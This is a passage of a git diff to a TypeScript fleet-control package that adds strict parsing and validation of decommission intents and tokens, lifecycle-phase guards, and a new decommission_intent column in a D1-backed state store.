'migrating'))) || + (entry !== 'migrating' && carrier.present) || + (entry !== 'migrating' && + entry !== 'ready' && + entry !== 'rolling-back' && + mode.requestedSpecDigest !== source.desiredSpecDigest) + ) { + return malformed(); + } + return { + record: stored, + mode: { + kind: 'normal', + requestedSpecDigest: mode.requestedSpecDigest, + entryLifecyclePhase: entry, + }, + }; +} + +function parsePurpose( + value: unknown, + source: FleetRecord, + lifecyclePhase: NormalDecommissionLifecyclePhase, +): Readonly<{ + purpose: DecommissionAttachmentPurpose; + target: WorkerAttachmentScanTarget; +}> { + const candidate = record(value); + if (candidate.kind === 'application-r2-detach') { + exactKeys(candidate, [ + 'kind', + 'resourceIndex', + 'name', + 'bucketName', + 'jurisdiction', + 'reservationNonce', + 'creationDate', + ]); + if ( + lifecyclePhase !== 'application-resources-deleting' || + !safeInteger(candidate.resourceIndex) || + !boundedString(candidate.name) || + !boundedString(candidate.bucketName) || + (candidate.jurisdiction !== 'default' && + candidate.jurisdiction !== 'eu' && + candidate.jurisdiction !== 'fedramp') || + !boundedString(candidate.reservationNonce) || + !canonicalIso(candidate.creationDate) + ) { + return malformed(); + } + const resource = source.applicationResources?.[candidate.resourceIndex]; + if ( + resource?.state !== 'detach-authorized' || + resource.name !== candidate.name || + resource.bucketName !== candidate.bucketName || + resource.jurisdiction !== candidate.jurisdiction || + resource.reservationNonce !== candidate.reservationNonce || + resource.creationDate !== candidate.creationDate + ) { + return malformed(); + } + return { + purpose: { + kind: 'application-r2-detach', + resourceIndex: candidate.resourceIndex, + name: candidate.name, + bucketName: candidate.bucketName, + jurisdiction: candidate.jurisdiction, + reservationNonce: candidate.reservationNonce, + creationDate: candidate.creationDate, + }, + target: { kind: 'r2', bucketName: candidate.bucketName }, + }; + } + if (candidate.kind === 'database-pre-export') { + exactKeys(candidate, ['kind', 'databaseId']); + if ( + lifecyclePhase !== 'application-resources-deleted' || + !boundedString(candidate.databaseId) || + candidate.databaseId !== source.databaseId + ) { + return malformed(); + } + return { + purpose: { + kind: 'database-pre-export', + databaseId: candidate.databaseId, + }, + target: { kind: 'd1', databaseId: candidate.databaseId }, + }; + } + if (candidate.kind === 'database-pre-delete') { + exactKeys(candidate, [ + 'kind', + 'databaseId', + 'exportLocation', + 'exportSha256', + 'exportSize', + ]); + if ( + !['database-exported', 'database-deleting'].includes(lifecyclePhase) || + !boundedString(candidate.databaseId) || + candidate.databaseId !== source.databaseId || + !boundedString(candidate.exportLocation) || + candidate.exportLocation !== source.databaseExportLocation || + !sha256(candidate.exportSha256) || + candidate.exportSha256 !== source.databaseExportSha256 || + !safeInteger(candidate.exportSize, 1) || + candidate.exportSize !== source.databaseExportSize + ) { + return malformed(); + } + return { + purpose: { + kind: 'database-pre-delete', + databaseId: candidate.databaseId, + exportLocation: candidate.exportLocation, + exportSha256: candidate.exportSha256, + exportSize: candidate.exportSize, + }, + target: { kind: 'd1', databaseId: candidate.databaseId }, + }; + } + return malformed(); +} + +function parseAttachment(value: unknown): DecommissionBlockedAttachment { + const candidate = record(value); + if (candidate.plane === 'ordinary') { + exactKeys(candidate, ['plane', 'scriptName']); + if (!boundedString(candidate.scriptName)) return malformed(); + return { plane: 'ordinary', scriptName: candidate.scriptName }; + } + exactKeys(candidate, ['plane', 'scriptName', 'dispatchNamespace']); + if ( + candidate.plane !== 'dispatch' || + !boundedString(candidate.scriptName) || + !boundedString(candidate.dispatchNamespace) + ) { + return malformed(); + } + return { + plane: 'dispatch', + scriptName: candidate.scriptName, + dispatchNamespace: candidate.dispatchNamespace, + }; +} + +function common( + candidate: Record, + source: FleetRecord, +): DecommissionIntentCommon { + if ( + candidate.version !== 1 || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + !safeInteger(candidate.revision) || + !safeInteger(candidate.generation) || + !canonicalIso(candidate.updatedAt) + ) { + return malformed(); + } + const lifecyclePhase = parseLifecyclePhase(candidate.lifecyclePhase); + return { + version: 1, + operationId: candidate.operationId, + revision: candidate.revision, + generation: candidate.generation, + updatedAt: candidate.updatedAt, + identity: parseIdentity(candidate.identity, source, lifecyclePhase), + lifecyclePhase, + }; +} + +function assertCompleteRecord(source: FleetRecord): void { + if ( + source.phase !== 'decommissioned' || + (source.applicationResources ?? []).some( + (resource) => resource.state !== 'deleted', + ) || + !boundedString(source.databaseExportLocation) || + !sha256(source.databaseExportSha256) || + !safeInteger(source.databaseExportSize, 1) || + source.pendingSpecDigest !== undefined || + source.pendingArtifactVersion !== undefined || + source.pendingRelease !== undefined || + source.migrationPriorRelease !== undefined || + source.rollbackRelease !== undefined || + source.retiringRelease !== undefined || + source.migrationIntent !== undefined || + source.backendSwitchIntent !== undefined + ) { + malformed(); + } +} + +export function decommissionAdvanceIntentFromUnknown( + value: unknown, + source: FleetRecord, +): DecommissionAdvanceIntent { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: DEPTH_BOUND, + maxNodes: NODE_BOUND, + maxScalarBytes: DECOMMISSION_INTENT_BYTE_BOUND, + maxSerializedBytes: DECOMMISSION_INTENT_BYTE_BOUND, + error: () => new DecommissionAdvanceIntentError(), + }); + } catch { + return malformed(); + } + const candidate = record(plain); + if (candidate.state === 'complete') { + exactKeys(candidate, [ + 'version', + 'operationId', + 'revision', + 'generation', + 'updatedAt', + 'identity', + 'lifecyclePhase', + 'state', + ]); + if ( + candidate.version !== 1 || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + !safeInteger(candidate.revision) || + !safeInteger(candidate.generation) || + !canonicalIso(candidate.updatedAt) || + candidate.lifecyclePhase !== 'decommissioned' + ) { + return malformed(); + } + assertCompleteRecord(source); + return { + version: 1, + operationId: candidate.operationId, + revision: candidate.revision, + generation: candidate.generation, + updatedAt: candidate.updatedAt, + identity: parseIdentity(candidate.identity, source, 'decommissioned'), + lifecyclePhase: 'decommissioned', + state: 'complete', + }; + } + const state = candidate.state; + const stateKeys = + state === 'transitioning' + ? [] + : state === 'discover' + ? ['purpose', 'progress'] + : state === 'verify' + ? ['purpose', 'progress', 'discoverEvidence'] + : state === 'blocked' + ? ['purpose', 'attachment'] + : undefined; + if (!stateKeys) return malformed(); + exactKeys(candidate, [ + 'version', + 'operationId', + 'revision', + 'generation', + 'updatedAt', + 'identity', + 'lifecyclePhase', + 'state', + ...stateKeys, + ]); + if (source.phase !== 'decommission-advancing') return malformed(); + const parsedCommon = common(candidate, source); + if (state === 'transitioning') { + return { ...parsedCommon, state }; + } + const { purpose, target } = parsePurpose( + candidate.purpose, + source, + parsedCommon.lifecyclePhase, + ); + if (state === 'blocked') { + return { + ...parsedCommon, + state, + purpose, + attachment: parseAttachment(candidate.attachment), + }; + } + let progress: DecommissionAttachmentProgress; + try { + progress = parseWorkerAttachmentScanProgress(candidate.progress, target); + } catch { + return malformed(); + } + if (state === 'discover') { + return { + ...parsedCommon, + state, + purpose, + progress, + }; + } + const evidence = record(candidate.discoverEvidence); + exactKeys(evidence, ['evidenceSha256', 'evidenceCount']); + if ( + !sha256(evidence.evidenceSha256) || + !safeInteger(evidence.evidenceCount, 2) || + evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND + ) { + return malformed(); + } + return { + ...parsedCommon, + state: 'verify', + purpose, + progress, + discoverEvidence: { + evidenceSha256: evidence.evidenceSha256, + evidenceCount: evidence.evidenceCount, + }, + }; +} + +export function normalizeDecommissionAdvanceIntent( + value: DecommissionAdvanceIntent, + source: FleetRecord, +): DecommissionAdvanceIntent { + return decommissionAdvanceIntentFromUnknown(value, source); +} + +export function parseDecommissionAdvanceToken( + value: unknown, +): DecommissionAdvanceToken { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: 4, + maxNodes: 16, + maxScalarBytes: TOKEN_BYTE_BOUND, + maxSerializedBytes: TOKEN_BYTE_BOUND, + error: () => new DecommissionAdvanceTokenError(), + }); + } catch { + throw new DecommissionAdvanceTokenError(); + } + let candidate: Record; + try { + candidate = record(plain); + exactKeys(candidate, [ + 'version', + 'tenantTag', + 'environment', + 'operationId', + 'revision', + ]); + } catch { + throw new DecommissionAdvanceTokenError(); + } + if ( + candidate.version !== 1 || + !boundedString(candidate.tenantTag) || + !boundedString(candidate.environment) || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + !safeInteger(candidate.revision) + ) { + throw new DecommissionAdvanceTokenError(); + } + return { + version: 1, + tenantTag: candidate.tenantTag, + environment: candidate.environment, + operationId: candidate.operationId, + revision: candidate.revision, + }; +} + +export function classifyDecommissionAdvanceToken( + value: unknown, + source: FleetRecord, +): DecommissionAdvanceTokenClassification { + const token = parseDecommissionAdvanceToken(value); + if ( + token.tenantTag !== source.tenantTag || + token.environment !== source.environment + ) { + throw new DecommissionAdvanceTokenDeploymentError(); + } + const intent = source.decommissionIntent; + if (!intent || token.operationId !== intent.operationId) { + throw new DecommissionAdvanceTokenOperationError(); + } + if (token.revision > intent.revision) { + throw new DecommissionAdvanceTokenFutureError(); + } + return token.revision === intent.revision ? 'current' : 'stale'; +} diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index b19b9e87..c10f2fbe 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -53,6 +53,10 @@ import type { MaintenanceHealth, ProvisioningBackend, } from './types.js'; +import { + assertNoActiveDecommission, + effectiveLifecyclePhase, +} from './types.js'; import { targetDurableObjectTag, validateDeploymentSecrets, @@ -172,10 +176,11 @@ function pendingArtifactVersion(record: FleetRecord): string | undefined { } function expectsDatabase(record: FleetRecord): boolean { - return record.phase !== 'decommissioned'; + return effectiveLifecyclePhase(record) !== 'decommissioned'; } function expectsWorker(record: FleetRecord): boolean { + const phase = effectiveLifecyclePhase(record); return ![ 'database-reserved', 'database-create-authorized', @@ -188,10 +193,11 @@ function expectsWorker(record: FleetRecord): boolean { 'database-exported', 'database-deleting', 'decommissioned', - ].includes(record.phase); + ].includes(phase); } function expectsRoute(record: FleetRecord): boolean { + const phase = effectiveLifecyclePhase(record); return [ 'publishing', 'ready', @@ -199,10 +205,11 @@ function expectsRoute(record: FleetRecord): boolean { 'rolling-back', 'decommissioning', 'credentials-revoked', - ].includes(record.phase); + ].includes(phase); } function expectsPlatformResources(record: FleetRecord): boolean { + const phase = effectiveLifecyclePhase(record); return ( record.platformResources !== undefined && ![ @@ -210,7 +217,7 @@ function expectsPlatformResources(record: FleetRecord): boolean { 'database-exported', 'database-deleting', 'decommissioned', - ].includes(record.phase) + ].includes(phase) ); } @@ -222,8 +229,9 @@ function expectedReleaseSnapshots( record: FleetRecord, ): readonly ExternalReleaseSnapshot[] { if (!expectsWorker(record) || record.backend === 'plain-worker') return []; + const phase = effectiveLifecyclePhase(record); const snapshots = (() => { - switch (record.phase) { + switch (phase) { case 'worker-deployed': case 'maintenance-armed': case 'publishing': @@ -277,6 +285,7 @@ function expectedReleaseSnapshots( function expectedScriptNames(record: FleetRecord): readonly string[] { if (!expectsWorker(record)) return []; if (record.backend === 'plain-worker') return [record.scriptName]; + const phase = effectiveLifecyclePhase(record); const releases = expectedReleaseSnapshots(record); const names = releases.map((release) => release.physicalScriptName); if ( @@ -291,7 +300,7 @@ function expectedScriptNames(record: FleetRecord): readonly string[] { 'decommissioning', 'traffic-removed', 'credentials-revoked', - ].includes(record.phase) + ].includes(phase) ) { names.push(record.scriptName); } @@ -699,13 +708,14 @@ export async function auditFleetDrift(options: { } >(); for (const record of options.records) { + const phase = effectiveLifecyclePhase(record); if ( [ 'application-resources-deleted', 'database-exported', 'database-deleting', 'decommissioned', - ].includes(record.phase) + ].includes(phase) ) { continue; } @@ -763,6 +773,7 @@ export async function auditFleetDrift(options: { } for (const record of options.records) { + const phase = effectiveLifecyclePhase(record); const recordMatches = recordsByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? []; if (recordMatches.length > 1) { @@ -778,7 +789,7 @@ export async function auditFleetDrift(options: { const inventoryDeployment = inventoryMatches[0]; const recordUpdatedAt = Date.parse(record.updatedAt); if ( - record.phase !== 'ready' && + phase !== 'ready' && (!Number.isFinite(recordUpdatedAt) || now - recordUpdatedAt > options.staleAfterMs) ) { @@ -786,7 +797,7 @@ export async function auditFleetDrift(options: { tenantTag: record.tenantTag, environment: record.environment, kind: 'incomplete-provisioning', - detail: `phase '${record.phase}' has not advanced`, + detail: `phase '${phase}' has not advanced`, }); } const expectedReleases = expectedReleaseSnapshots(record); @@ -860,7 +871,7 @@ export async function auditFleetDrift(options: { }); } } - if (record.phase !== 'ready') continue; + if (phase !== 'ready') continue; if (!inventoryDeployment) { continue; } @@ -1416,6 +1427,7 @@ export async function migrateFleet(options: { record.environment, ); if (!stored) throw new Error('fleet migration record disappeared'); + assertNoActiveDecommission(stored, 'migrateFleet'); assertBackendSwitchInactive(stored); const storedSchemaVersion = stored.schemaVersion; const backend = options.backendFor(stored); @@ -2404,6 +2416,7 @@ export async function rollbackExternalRelease(options: { currentSpec.environment, ); if (!stored) throw new Error('rollback deployment is not registered'); + assertNoActiveDecommission(stored, 'rollbackExternalRelease'); assertBackendSwitchInactive(stored); const finalizedOrdinaryState = stored.backendSwitchIntent?.subphase === 'finalized' && diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 5700c7ce..74620d42 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -115,8 +115,19 @@ export { type D1Migration, type DatabaseExport, type DatabaseReference, + type DecommissionAdvanceIntent, + type DecommissionAdvanceToken, + type DecommissionAdvanceTokenClassification, + type DecommissionAttachmentProgress, + type DecommissionAttachmentPurpose, + type DecommissionAttachmentScanEvidence, type DecommissionAuditEvent, type DecommissionAuditSink, + type DecommissionBlockedAttachment, + type DecommissionIntentCommon, + type DecommissionOperationIdentity, + type DecommissionOperationMode, + type DecommissionRecordIdentity, type DecommissionResult, type DeploymentApplicationBindings, type DeploymentEgressPolicy, @@ -145,6 +156,7 @@ export { type InitialExecutionFenceState, type LiveDeployment, type MaintenanceHealth, + type NormalDecommissionLifecyclePhase, type ObservedActiveRoute, type PlainWorkerCleanupOutcome, type PlainWorkerCustomDomain, diff --git a/packages/fleet-control/src/platform-resources.ts b/packages/fleet-control/src/platform-resources.ts index e81624bf..2476b1cb 100644 --- a/packages/fleet-control/src/platform-resources.ts +++ b/packages/fleet-control/src/platform-resources.ts @@ -20,6 +20,7 @@ import type { ProvisioningBackend, TrustedWorkerArtifact, } from './types.js'; +import { effectiveLifecyclePhase } from './types.js'; export const FLEET_AUDIT_PROXY_BINDING = 'AUDIT_PROXY'; export const FLEET_AUDIT_PROXY_STATE_BINDING = 'FLEET_AUDIT_PROXY_OBJECT'; @@ -52,10 +53,11 @@ function currentRouteExpectations( record: FleetRecord, releases: readonly (ExternalReleaseSnapshot | undefined)[], ): readonly ExternalRouteExpectation[] { + const phase = effectiveLifecyclePhase(record); const target = record.platformTarget; if (!target) { throw new Error( - `external ${record.phase} route authority has no persisted platform target`, + `external ${phase} route authority has no persisted platform target`, ); } const expectations = dedupeExternalRouteExpectations( @@ -63,7 +65,7 @@ function currentRouteExpectations( ); if (expectations.length === 0) { throw new Error( - `external ${record.phase} route authority has no persisted release`, + `external ${phase} route authority has no persisted release`, ); } return expectations; @@ -73,8 +75,9 @@ export function externalRouteExpectations( record: FleetRecord, ): readonly ExternalRouteExpectation[] { if (record.backend !== 'workers-for-platforms') return []; + const phase = effectiveLifecyclePhase(record); if ( - record.phase === 'traffic-removed' || + phase === 'traffic-removed' || (record.backendSwitchIntent?.subphase.startsWith('decommission-') === true && record.backendSwitchIntent.subphase !== 'decommission-traffic-authorized') @@ -92,9 +95,7 @@ export function externalRouteExpectations( } if ( record.migrationIntent && - ['migrating', 'decommissioning', 'credentials-revoked'].includes( - record.phase, - ) + ['migrating', 'decommissioning', 'credentials-revoked'].includes(phase) ) { const intent = record.migrationIntent; if ( @@ -122,22 +123,19 @@ export function externalRouteExpectations( } return [prior]; } - if (record.phase === 'rolling-back') { + if (phase === 'rolling-back') { return currentRouteExpectations(record, [ record.activeRelease, record.pendingRelease, ]); } - if (record.phase === 'publishing') { + if (phase === 'publishing') { return currentRouteExpectations(record, [record.pendingRelease]); } - if (record.phase === 'ready') { + if (phase === 'ready') { return currentRouteExpectations(record, [record.activeRelease]); } - if ( - record.phase === 'decommissioning' || - record.phase === 'credentials-revoked' - ) { + if (phase === 'decommissioning' || phase === 'credentials-revoked') { return currentRouteExpectations(record, [ record.activeRelease, record.pendingRelease, diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index 5b7a58a4..eafa00f6 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -57,6 +57,7 @@ import type { ProvisioningPhase, ProvisioningResult, } from './types.js'; +import { assertNoActiveDecommission } from './types.js'; import { targetDurableObjectTag, validateDeploymentSecrets, @@ -656,7 +657,10 @@ async function provisionDeploymentUnderLease( ); } const prior = await store.get(spec.tenantTag, spec.environment); - if (prior) assertBackendSwitchInactive(prior); + if (prior) { + assertNoActiveDecommission(prior, 'provisionDeployment'); + assertBackendSwitchInactive(prior); + } const finalizedOrdinaryState = prior?.backendSwitchIntent?.subphase === 'finalized' && prior.platformResources?.stateWorker.plane === 'ordinary'; @@ -1456,7 +1460,10 @@ async function cleanupDeploymentArtifactsUnderLease( const { backend, store, spec } = options; validateDeploymentSpec(spec); let record = await store.get(spec.tenantTag, spec.environment); - if (record) assertBackendSwitchInactive(record); + if (record) { + assertNoActiveDecommission(record, 'cleanupDeploymentArtifacts'); + assertBackendSwitchInactive(record); + } if (!record) return; assertImmutableDeploymentMapping(record, backend, spec); if (record.phase === 'database-reserved') { @@ -1668,6 +1675,9 @@ export async function decommissionDeployment( options.spec.tenantTag, options.spec.environment, ); + if (current) { + assertNoActiveDecommission(current, 'decommissionDeployment'); + } if ( current?.backendSwitchIntent && current.backendSwitchIntent.subphase !== 'decommissioned' @@ -1741,6 +1751,7 @@ export async function forceDecommissionDeployment( async (lease) => { const current = await input.store.get(input.tenantTag, input.environment); if (!current) return; + assertNoActiveDecommission(current, 'forceDecommissionDeployment'); if (current.backend !== input.backend.kind) { throw new Error( 'force-decommission backend does not own this deployment', @@ -1850,6 +1861,7 @@ async function decommissionDeploymentUnderLease( validateDeploymentSpec(spec); const current = await store.get(spec.tenantTag, spec.environment); if (!current) throw new Error('deployment is not registered'); + assertNoActiveDecommission(current, 'decommissionDeployment'); assertBackendSwitchInactive(current); if (current.backend !== backend.kind) { throw new Error('decommission backend does not own this deployment'); diff --git a/packages/fleet-control/src/state-store.ts b/packages/fleet-control/src/state-store.ts index 36f0a1fc..88411f29 100644 --- a/packages/fleet-control/src/state-store.ts +++ b/packages/fleet-control/src/state-store.ts @@ -2,6 +2,11 @@ import { createHash, randomUUID } from 'node:crypto'; import { backendSwitchIntentFromUnknown } from './backend-switch.js'; +import { + DECOMMISSION_INTENT_BYTE_BOUND, + decommissionAdvanceIntentFromUnknown, + normalizeDecommissionAdvanceIntent, +} from './decommission-intent.js'; import { isDeploymentScriptName, isSha256 } from './deployment-context.js'; import { assertPlatformResourcesMatchTarget, @@ -32,7 +37,7 @@ import type { PlatformPlaneStateStore, ProvisioningPhase, } from './types.js'; -import { PROVISIONING_PHASES } from './types.js'; +import { effectiveLifecyclePhase, PROVISIONING_PHASES } from './types.js'; import { deploymentKey } from './validation.js'; export interface FleetStateDatabase { @@ -133,6 +138,7 @@ const FLEET_ROW_COLUMNS = [ 'platform_target', 'migration_intent', 'backend_switch_intent', + 'decommission_intent', 'durable_object_tag', 'durable_object_migration_history', 'durable_object_migration_history_digest', @@ -158,6 +164,7 @@ const FLEET_ROW_COLUMNS = [ export const ADDED_NULLABLE_TEXT_COLUMNS = [ 'backend_switch_intent', 'settled_settlement_key', + 'decommission_intent', ] as const; function isDuplicateColumnError( @@ -585,6 +592,138 @@ function optionalPlatformResources( }; } +function invalidDecommissionIntent(): Error { + return new Error('fleet state row has invalid decommission_intent'); +} + +function optionalDecommissionIntent( + value: unknown, + record: Omit, +): FleetRecord['decommissionIntent'] { + if (value === null || value === undefined) return undefined; + if ( + typeof value !== 'string' || + value.length > DECOMMISSION_INTENT_BYTE_BOUND + ) { + throw invalidDecommissionIntent(); + } + let parsed: unknown; + try { + if ( + new TextEncoder().encode(value).byteLength > + DECOMMISSION_INTENT_BYTE_BOUND + ) { + throw invalidDecommissionIntent(); + } + parsed = JSON.parse(value) as unknown; + return decommissionAdvanceIntentFromUnknown(parsed, record); + } catch { + throw invalidDecommissionIntent(); + } +} + +function validateRecordCrossFields(record: FleetRecord): void { + const phase = effectiveLifecyclePhase(record); + const { + activeRelease, + backend, + migrationIntent, + migrationPriorRelease, + outboundPolicy, + pendingArtifactVersion, + pendingRelease, + pendingSpecDigest, + platformResources, + platformTarget, + schemaVersion, + } = record; + if ( + (backend === 'workers-for-platforms' && !outboundPolicy) || + (backend === 'plain-worker' && outboundPolicy) || + (platformResources && + (platformResources.outboundPolicy ?? platformResources.egressProxy) + ?.policyId !== outboundPolicy?.policyId) || + (platformResources && + JSON.stringify( + (platformResources.outboundPolicy ?? platformResources.egressProxy) + ?.policyHosts, + ) !== JSON.stringify(outboundPolicy?.policyHosts)) || + (platformResources && + (platformResources.outboundPolicy ?? platformResources.egressProxy) + ?.policyDigest !== outboundPolicy?.policyDigest) + ) { + throw new Error('fleet state row has inconsistent outbound_policy'); + } + if ( + (platformTarget && + JSON.stringify(platformTarget.outboundPolicy) !== + JSON.stringify(outboundPolicy)) || + (migrationIntent && phase !== 'migrating') || + (migrationIntent && + migrationIntent.targetSpecDigest !== + migrationIntent.targetRelease.specDigest) || + (migrationIntent && + migrationIntent.target.d1SchemaVersion !== + (migrationIntent.platformOnly === true + ? schemaVersion + : migrationIntent.targetRelease.releaseSchemaVersion)) || + (migrationIntent && + JSON.stringify(migrationIntent.priorRelease) !== + JSON.stringify(activeRelease)) || + (migrationIntent?.platformOnly === true + ? JSON.stringify(migrationIntent.targetRelease) !== + JSON.stringify(activeRelease) || + migrationPriorRelease !== undefined || + pendingRelease !== undefined || + ['candidate-deployed', 'candidate-armed'].includes( + migrationIntent.subphase, + ) + : migrationIntent !== undefined && + (JSON.stringify(migrationIntent.priorRelease) !== + JSON.stringify(migrationPriorRelease) || + JSON.stringify(migrationIntent.targetRelease) !== + JSON.stringify(pendingRelease))) + ) { + throw new Error('fleet state row has inconsistent migration intent'); + } + if ( + (backend === 'plain-worker' && (platformTarget || migrationIntent)) || + (backend === 'workers-for-platforms' && + platformResources !== undefined && + platformTarget === undefined) || + (backend === 'workers-for-platforms' && + phase === 'migrating' && + migrationIntent === undefined) + ) { + throw new Error('fleet state row has inconsistent platform target'); + } + if ( + pendingArtifactVersion !== undefined && + (backend !== 'plain-worker' || + phase !== 'migrating' || + typeof pendingSpecDigest !== 'string' || + pendingArtifactVersion.length === 0 || + pendingArtifactVersion === 'pending') + ) { + throw new Error('fleet state row has inconsistent pending artifact'); + } + if (platformResources && platformTarget) { + assertPlatformResourcesMatchTarget(platformResources, platformTarget); + } + if ( + migrationIntent && + [ + 'platform-applied', + 'candidate-deployed', + 'candidate-armed', + 'route-published', + ].includes(migrationIntent.subphase) && + JSON.stringify(platformTarget) !== JSON.stringify(migrationIntent.target) + ) { + throw new Error('fleet state row has inconsistent migration target'); + } +} + function toRecord(row: Readonly>): FleetRecord { const backend = rowString(row, 'backend'); if (backend !== 'plain-worker' && backend !== 'workers-for-platforms') { @@ -998,97 +1137,7 @@ function toRecord(row: Readonly>): FleetRecord { ) { throw new Error('fleet state row has invalid backend_switch_intent'); } - if ( - (backend === 'workers-for-platforms' && !outboundPolicy) || - (backend === 'plain-worker' && outboundPolicy) || - (platformResources && - (platformResources.outboundPolicy ?? platformResources.egressProxy) - ?.policyId !== outboundPolicy?.policyId) || - (platformResources && - JSON.stringify( - (platformResources.outboundPolicy ?? platformResources.egressProxy) - ?.policyHosts, - ) !== JSON.stringify(outboundPolicy?.policyHosts)) || - (platformResources && - (platformResources.outboundPolicy ?? platformResources.egressProxy) - ?.policyDigest !== outboundPolicy?.policyDigest) - ) { - throw new Error('fleet state row has inconsistent outbound_policy'); - } - if ( - (platformTarget && - JSON.stringify(platformTarget.outboundPolicy) !== - JSON.stringify(outboundPolicy)) || - (migrationIntent && phase !== 'migrating') || - (migrationIntent && - migrationIntent.targetSpecDigest !== - migrationIntent.targetRelease.specDigest) || - (migrationIntent && - migrationIntent.target.d1SchemaVersion !== - (migrationIntent.platformOnly === true - ? schemaVersion - : migrationIntent.targetRelease.releaseSchemaVersion)) || - (migrationIntent && - JSON.stringify(migrationIntent.priorRelease) !== - JSON.stringify(activeRelease)) || - (migrationIntent?.platformOnly === true - ? JSON.stringify(migrationIntent.targetRelease) !== - JSON.stringify(activeRelease) || - migrationPriorRelease !== undefined || - pendingRelease !== undefined || - ['candidate-deployed', 'candidate-armed'].includes( - migrationIntent.subphase, - ) - : migrationIntent !== undefined && - (JSON.stringify(migrationIntent.priorRelease) !== - JSON.stringify(migrationPriorRelease) || - JSON.stringify(migrationIntent.targetRelease) !== - JSON.stringify(pendingRelease))) - ) { - throw new Error('fleet state row has inconsistent migration intent'); - } - if ( - (backend === 'plain-worker' && (platformTarget || migrationIntent)) || - (backend === 'workers-for-platforms' && - platformResources !== undefined && - platformTarget === undefined) || - (backend === 'workers-for-platforms' && - phase === 'migrating' && - migrationIntent === undefined) - ) { - throw new Error('fleet state row has inconsistent platform target'); - } - if ( - row.pending_artifact_version !== undefined && - row.pending_artifact_version !== null && - (backend !== 'plain-worker' || - phase !== 'migrating' || - typeof row.pending_spec_digest !== 'string' || - typeof row.pending_artifact_version !== 'string' || - row.pending_artifact_version.length === 0 || - row.pending_artifact_version === 'pending') - ) { - throw new Error('fleet state row has inconsistent pending artifact'); - } - if (platformResources && platformTarget) { - assertPlatformResourcesMatchTarget(platformResources, platformTarget); - } - if ( - migrationIntent && - [ - 'platform-applied', - 'candidate-deployed', - 'candidate-armed', - 'route-published', - ].includes(migrationIntent.subphase) - ) { - if ( - JSON.stringify(platformTarget) !== JSON.stringify(migrationIntent.target) - ) { - throw new Error('fleet state row has inconsistent migration target'); - } - } - return { + const provisional: Omit = { tenantTag, environment, backend, @@ -1141,6 +1190,51 @@ function toRecord(row: Readonly>): FleetRecord { : {}), updatedAt: rowString(row, 'updated_at'), }; + const decommissionIntent = optionalDecommissionIntent( + row.decommission_intent, + provisional, + ); + if (phase === 'decommission-advancing' && !decommissionIntent) { + throw invalidDecommissionIntent(); + } + const record: FleetRecord = { + ...provisional, + ...(decommissionIntent ? { decommissionIntent } : {}), + }; + validateRecordCrossFields(record); + return record; +} + +function normalizeRecordForWrite(record: FleetRecord): FleetRecord { + const hasDecommissionIntent = Object.hasOwn(record, 'decommissionIntent'); + const suppliedDecommissionIntent = record.decommissionIntent; + if (hasDecommissionIntent && suppliedDecommissionIntent === undefined) { + throw invalidDecommissionIntent(); + } + const provisional = { ...record }; + delete provisional.decommissionIntent; + let decommissionIntent: FleetRecord['decommissionIntent']; + try { + decommissionIntent = hasDecommissionIntent + ? normalizeDecommissionAdvanceIntent( + suppliedDecommissionIntent as NonNullable< + FleetRecord['decommissionIntent'] + >, + provisional, + ) + : undefined; + } catch { + throw invalidDecommissionIntent(); + } + const normalized: FleetRecord = { + ...provisional, + ...(decommissionIntent ? { decommissionIntent } : {}), + }; + if (record.phase === 'decommission-advancing' && !decommissionIntent) { + throw invalidDecommissionIntent(); + } + validateRecordCrossFields(normalized); + return normalized; } export class D1FleetStateStore @@ -1207,6 +1301,7 @@ export class D1FleetStateStore platform_target TEXT, migration_intent TEXT, backend_switch_intent TEXT, + decommission_intent TEXT, durable_object_tag TEXT, durable_object_migration_history TEXT, durable_object_migration_history_digest TEXT, @@ -1712,6 +1807,18 @@ export class D1FleetStateStore `deployment lease '${tenantTag}:${environment}' cannot write '${record.tenantTag}:${record.environment}'`, ); } + record = normalizeRecordForWrite(record); + const decommissionIntent = record.decommissionIntent + ? JSON.stringify(record.decommissionIntent) + : null; + if ( + typeof decommissionIntent === 'string' && + (decommissionIntent.length > DECOMMISSION_INTENT_BYTE_BOUND || + new TextEncoder().encode(decommissionIntent).byteLength > + DECOMMISSION_INTENT_BYTE_BOUND) + ) { + throw invalidDecommissionIntent(); + } if ( record.migrationIntent && record.backendSwitchIntent && @@ -1785,6 +1892,7 @@ export class D1FleetStateStore record.backendSwitchIntent ? JSON.stringify(record.backendSwitchIntent) : null, + decommissionIntent, record.durableObjectTag ?? null, record.durableObjectMigrationHistory ? JSON.stringify(record.durableObjectMigrationHistory) @@ -1808,7 +1916,7 @@ export class D1FleetStateStore database_name, schema_version, artifact_version, desired_spec_digest, pending_spec_digest, pending_artifact_version, active_release, pending_release, migration_prior_release, rollback_release, retiring_release, outbound_policy, platform_resources, - platform_target, migration_intent, backend_switch_intent, durable_object_tag, + platform_target, migration_intent, backend_switch_intent, decommission_intent, durable_object_tag, durable_object_migration_history, durable_object_migration_history_digest, durable_object_bindings, application_resources, application_bindings, route_hostname, phase, @@ -1819,7 +1927,7 @@ export class D1FleetStateStore WHERE tenant_tag = ? AND environment = ? AND owner_token = ? AND expires_at > ${DB_NOW_MS} ) THEN ? ELSE NULL END, - ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? + ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? 